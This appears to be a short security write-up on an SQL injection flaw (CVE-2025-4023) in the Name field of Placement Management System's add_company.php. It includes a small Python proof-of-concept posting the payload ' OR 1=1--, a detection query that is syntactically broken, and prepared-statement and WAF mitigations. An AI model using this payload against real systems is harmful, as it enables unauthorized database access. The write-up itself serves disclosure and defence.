How CVE-2025-4023 Works
The vulnerability exists in the `/add_company.php` file of Placement Management System 1.0 due to improper input sanitization of the `Name` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The flaw allows remote exploitation without authentication (CVSS:4.0 AV:N/AC:L/PR:N). The SQL injection occurs when user-supplied input is directly concatenated into SQL statements, enabling attackers to manipulate queries, extract sensitive data, or execute arbitrary commands.

What Undercode Say:
Exploitation
import requests
target = "http://target.com/add_company.php"
payload = "' OR 1=1--"
data = {"Name": payload}
response = requests.post(target, data=data)
print(response.text)
Detection
SELECT FROM logs WHERE input LIKE "%' OR 1=1--%";
Protection
// Use prepared statements
$stmt = $conn->prepare("INSERT INTO companies (name) VALUES (?)");
$stmt->bind_param("s", $_POST['Name']);
$stmt->execute();
Mitigation
1. Patch `/add_company.php` with parameterized queries.
2. Deploy WAF rules to block SQLi patterns.
3. Restrict database user permissions.
